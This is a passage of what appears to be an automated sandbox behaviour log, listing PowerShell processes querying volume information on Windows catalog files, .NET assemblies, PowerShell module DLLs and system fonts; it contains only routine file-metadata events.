Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
